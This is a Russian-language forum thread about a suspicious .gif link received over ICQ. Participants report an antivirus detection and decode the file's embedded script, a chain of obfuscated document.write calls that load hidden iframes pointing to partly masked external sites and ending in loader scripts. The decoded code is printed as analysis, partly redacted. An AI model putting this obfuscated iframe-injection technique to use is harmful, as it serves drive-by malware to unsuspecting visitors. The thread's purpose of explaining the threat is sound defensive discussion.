Проблема В аське прислали подозрительную ссылку

[Cameroon]

от человека, которому я доверяю, из аськи пришла ссылка:

design***ion.com/images/car.gi

как бы не спам?

Click to read more...

 

[sergofun]

Dr. Web говорит, что car.gif/Script.0 заражен JS.Click.26.
Склеенный файл?

 

[akok]

http://www.virustotal.com/ru/analis...0c7c39095d220ff2d76dc1d8e94e5c40e6-1254210855

Cameroon, там в картинке, еще скрипт интересный сидит.

document.write(String.fromCharCode(60,115,99,114,105*****,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,106,115,46,106,115,34,62,60,47,115,99,114,105,112,116,62))

Который означает

<script type="text/javascript" src="js.js"></script>

А js содержит:

document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u*********0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')

Который означает:

<iframe src="http://***sterz.org/stats/ru1.php" style="display:none"></iframe>

В котором содержится

document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0070\u0*****0078\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')

Который означает:

<iframe src="http://pri*et2.cn/****/*** style="display:none"></iframe>

В котором сидят два скрипта которые являются загрузчиками

var Fuck_OFF_MAN ='';
Fuck_OFF_MAN = '0123.......

Китайцы жгут напалмом.

 

[Cameroon]

akoK, это вы о чем сейчас? О_о

 

[akok]

Cameroon, я о картинке. Вернее о ее содержимом.

 

[sergofun]

Cameroon, car.gif помимо самой картинки содержит еще и скрипт. Надеюсь эта ссылка прояснит ситуацию: "Склеивание" файлов.

 

[Cameroon]

я понял

Китайцы жгут напалмом.

мне это было непонятно...